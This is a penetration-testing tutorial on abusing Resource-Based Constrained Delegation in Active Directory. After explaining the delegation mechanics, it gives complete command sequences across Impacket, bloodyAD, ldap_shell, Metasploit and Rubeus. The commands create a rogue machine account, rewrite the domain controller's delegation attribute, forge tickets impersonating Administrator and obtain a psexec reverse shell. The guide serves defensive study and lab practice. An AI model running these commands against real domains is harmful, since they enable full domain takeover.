Domain Escalation: Resource Based Constrained Delegation

[Protato]

Resource-Based Constrained Delegation (RBCD) is a security feature in Active Directory (AD) that enables a computer object to specify which users or machines can impersonate accounts to access its resources. This delegation method provides more granular control compared to the older unconstrained and constrained delegation methods. However, if misconfigured, RBCD can be exploited by attackers to gain unauthorized access and escalate privileges within a domain.

This guide will provide an in-depth explanation of RBCD, covering its working mechanism, the key attributes involved, and how attackers exploit it. Additionally, we will demonstrate an attack scenario where an attacker manipulates delegation settings to gain control over a privileged account.

Table of Contents

• Resource Based Constrained Delegation
• Prerequisites
• Lab Setup
• Exploitation Phase
• Bloodhound – Hunting for Weak Permission

Method for Exploitation

• Impacket
• Bloody AD
• Ldap_shell
• Metasploit
• PowerShell – Powerview
• Rubeus

Understanding RBCD

Delegation in Active Directory

Delegation in Active Directory allows a service to authenticate on behalf of a user, enabling seamless authentication across multiple services. There are three types of delegation:

• Unconstrained Delegation: Any service running on the delegated machine can impersonate users without restrictions.
• Constrained Delegation: The delegation is restricted to specific services, limiting potential abuse.
• Resource-Based Constrained Delegation (RBCD): Introduced in Windows Server 2012, RBCD enables a resource (e.g., a server) to define which accounts can delegate to it.

Unlike traditional delegation methods, RBCD is configured on the target machine (resource) instead of the user account. This makes it more flexible but also introduces risks when improperly configured.

How RBCD Works

When RBCD is configured, the attribute msDS-AllowedToActOnBehalfOfOtherIdentity is modified on the target machine’s computer object. This attribute contains a security descriptor (SD) that specifies which users or machines are allowed to perform delegation.

The RBCD process follows these steps:

• A user or machine is granted permission to act on behalf of other identities by modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target machine.
• The user requests a Service for User to Self (S4U2Self) ticket from the Key Distribution Center (KDC) to impersonate a privileged account.
• The user then requests a Service for User to Proxy (S4U2Proxy) ticket, allowing authentication to services running on the target machine.
• The user gains access to the target system as the impersonated account.

If an attacker gains control over a computer object and modifies its delegation settings, they can effectively impersonate privileged accounts, leading to full domain compromise.

Key Active Directory Attribute Used

• msDS-AllowedToActOnBehalfOfOtherIdentity: Stores a security descriptor defining which accounts can use RBCD.
• TrustAttributes: Determines whether delegation is enabled on a machine.
• Service Principal Names (SPNs): Used in Kerberos authentication to identify services running on a machine. The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations.
• Machine Quota: The default setting in AD allowing any user to create up to 10 machine accounts.

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Impacket, Powerview, BloodyAD, Ldap_Shell, Metasploit
• Windows 10/11 – As Client

Lab Setup

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services
• Set up the domain (e.g., local).

User Accounts:

• Create a standard user account named Geet.

net user geet Password@1 /add /domain

Grant “Geet” User Full Control on the Domain Controller Computer:

Once your AD environment is set up, Grant Geet user full control over a domain controller (DC), allowing it to manipulate its delegation settings.

Steps:

• Open Active Directory Users and Computers (ADUC) on the Domain Controller.
• Enable the Advanced Features view by clicking on View > Advanced Features.
• Locate the Domain Controller machine in the Domain Controller container.
• Right-click on Domain Controller machine (DC) and go to Properties.

• Go to the Securitytab, and click on Add button

• In the “Enter the object name to select” box, type Geetand click Check Names and click on OK.
• Select Geet user and in the Permissionssection, check the box for Full control rights
• Apply the settings.

At this point, Geet now has Full Control rights over the Domain controller machine, allowing it to manipulate its delegation settings.

Exploitation Phase

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Geet has Full control permission on the Domain controller group, and can perform RBCD attack.

bloodhound-python -u geet -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

BloodHound helps identify delegation misconfigurations that can be exploited for RBCD attacks.

Method for Exploitation

If you have understood the theoretical concepts, executing an RBCD attack becomes straightforward. The following steps outline the process:

• Create a fake computer account
• Edit the target’s “rbcd” attribute by delegating control on a domain controller (DC) to this fake machine
• Fake computer account acts on behalf of Domain Controller (DC$) account
• Obtain a ticket (delegation operation)
• Once the ticket is obtained, it can be used with pass-the-ticket.

Impacket

• Abuse MachineAccountQuota to create a computer account

Since Active Directory allows users to create machine accounts (if MachineAccountQuota > 0), we leverage this to create a new fake machine using the Geet account.

To do this, we’ll use a relatively new impacket example script – addcomputer. This script has a SAMR option to add a new computer, which functions over SMB.

impacket-addcomputer ignite.local/geet:Password@1 -computer-name fakepc -computer-pass Password@123 -dc-ip 192.168.1.48

• Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

We configure msDS-AllowedToActOnBehalfOfOtherIdentity on the domain controller (DC$), allowing our fake machine account to impersonate users.

Impacket’s rbcd script can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

impacket-rbcd ignite.local/geet:Password@1 -action write -delegate-to 'DC$' -delegate-from 'fakepc$' -dc-ip 192.168.1.48

Alternatively, the above two setups can be done using:

Bloody AD

Create a fake computer account

bloodyAD -u geet -p 'Password@1' -d ignite.local --host 192.168.1.48 add computer fakecomp 'Password@123'

Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties, to allow the account to act on behalf of the other identity.

bloodyAD --host 192.168.1.48 -u geet -p 'Password@1' -d ignite.local add rbcd 'DC$' 'fakecomp$'

Ldap_shell

This can also be achieved using ldap_shell:

ldap_shell ignite.local/geet:Password@1 -dc-ip 192.168.1.48

Create a fake computer account

add_computer testpc Password@123

Allow the account to act on behalf of the other identity

set_rbcd DC$ testpc$

• Generate a Service Ticket for CIFS

The fake machine account requests a Kerberos Service Ticket for a privileged user (e.g., Administrator) using Service for User to Self (S4U2Self).

Then, it escalates the ticket using Service for User to Proxy (S4U2Proxy) to obtain access to DC$.

So, once the attribute has been modified, the Impacket script getST can then perform all the necessary steps to obtain the final “impersonating” ST (in this case, “Administrator” is impersonated but it can be any user in the environment).

impacket-getST ignite.local/'fakepc$':Password@123 -spn cifs/DC.ignite.local -impersonate administrator -dc-ip 192.168.1.48

• Obtain Privileged Access

Once the ticket is obtained, it can be used with pass-the-ticket.

In order to use the ticket, first export an environment variable that points to the created ticket.

export KRB5CCNAME=administrator@[email protected]
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.48

From UNIX-like systems, Impacket’s findDelegation script can be used to find unconstrained, constrained (with or without protocol transition) and rbcd.

Impacket-findDelegation ignite.local/raaj:Password@1 -dc-ip 192.168.1.48

Metasploit

The above steps can also be achieved using Metasploit:

Create a fake computer account

The admin/dcerpc/samr_account module is generally used to first create a computer account, which by default, all user accounts in a domain can perform.

Use auxiliary/admin/dcerpc/samr_account 
set SMBUSER geet
set SMBPASS Password@1
set ACCOUNT_NAME LOKI$
set ACCOUNT_PASSWORD Password@123
set SMBDOMAIN ignite.local
run

Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

The auxiliary/admin/ldap/rbcd module can be used to read and write the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute against a target for Role Based Constrained Delegation (RBCD). When writing, the module will add an access control entry (ACE) to allow the account specified in DELEGATE_FROM to the object specified in DELEGATE_TO.

use auxiliary/admin/ldap/rbcd
set DELEGATE_FROM LOKI
set DELEGATE_TO DC
set DOMAIN ignite.local
set RHOSTS 192.168.1.48
set USERNAME geet
set PASSWORD Password@1
set ACTION WRITE
run

Generate a Service Ticket for CIFS

Next, we can use the auxiliary/admin/kerberos/get_ticket module to request a new S4U impersonation ticket for the Administrator account using the previously created machine account. For instance, requesting a service ticket for SMB access.

use auxiliary/admin/kerberos/get_ticket
set RHOSTS 192.168.1.48
set IMPERSONATE administrator
set USERNAME LOKI
set PASSWORD Password@123
set ACTION GET_TGS
set SPN cifs/dc.ignite.local
run

Obtain Privileged Access

The saved TGS can be used in a pass-the-ticket style attack. For instance using the exploit/windows/smb/psexec module for a reverse shell.

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set USERNAME administrator
set SMB::AUTH kerberos
set SMB::KRB5CCNAME /root/.msf4/loot/20250126094248_default_192.168.1.48_mit.kerberos.cca_426299.bin
set SMB::RHOSTNAME dc.ignite.local
set DOMAINCONTROLLERRHOST 192.168.1.48
set LHOST 192.168.1.128
run

The auxiliary/admin/ldap/rbcd can be used to read the value of msDS-AllowedToActOnBehalfOfOtherIdentity to verify the value is updated.

use auxiliary/admin/ldap/rbcd
set DOMAIN ignite.local
set RHOSTS 192.168.1.48
set USERNAME geet
set PASSWORD Password@1
set delegate_to dc
run

Windows Exploitation

Create a fake computer account

If we’re attacking from Windows FuzzSecurity’s StandIn project let us create machine accounts:

.\StandIn_v13_Net45.exe --computer panther --make

Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

The PowerShell ActiveDirectory module’s cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).

Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount panther$

Generate a Service Ticket for CIFS

We can now exploit the delegation with the best kerberos exploitation tool out there, Rubeus: in order to do the S4U attack it requires the machine account user’s AES256 (/aes256) or RC4 (/rc4) key, because these make up the long term secret keys used to encrypt kerberos tickets (plus AES128 and DES). If we have a TGT for our machine account we can use that instead.

If RC4 is not disabled we’ll see that it coincides with the account’s NT hash (this will be useful in the SPN-less attack!).

The RC4 key is simply an NT hash so we only need our clear text password to calculate it, while the AES keys also require our user’s name and domain, because these are used as salt for the hashing algorithm.

The NT hash and AES keys can be computed as follows.

./Rubeus.exe hash /domain:ignite.local /user:panther$ /password:pLXFRC7KAXjWPWm

Rubeus can then be used to request the TGT and “impersonation ST”, and inject it for later use.

Armed with a kerberos key we can proceed with the S4U attack specifying an SPN pointing to our target (/msdsspn) and a user to impersonate, here we also include the /ptt flag to have Rubeus load the TGS into our cache so we can pass the ticket to our target from our attacking host.

./Rubeus.exe s4u /user:panther$ /domain:ignite.local /rc4:D9F337ED3B96C2D88D1DA93908CB7833 /impersonateuser:administrator /msdsspn:http/DC /altservice:cifs,host /ptt

Obtain Privileged Access

Once the ticket is injected, it can natively be used when accessing the service.

now we can access the target!

ls \\dc\c$

Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is a completely enthusiastic pentester and Security Analyst at Ignite Technologies. Contact Here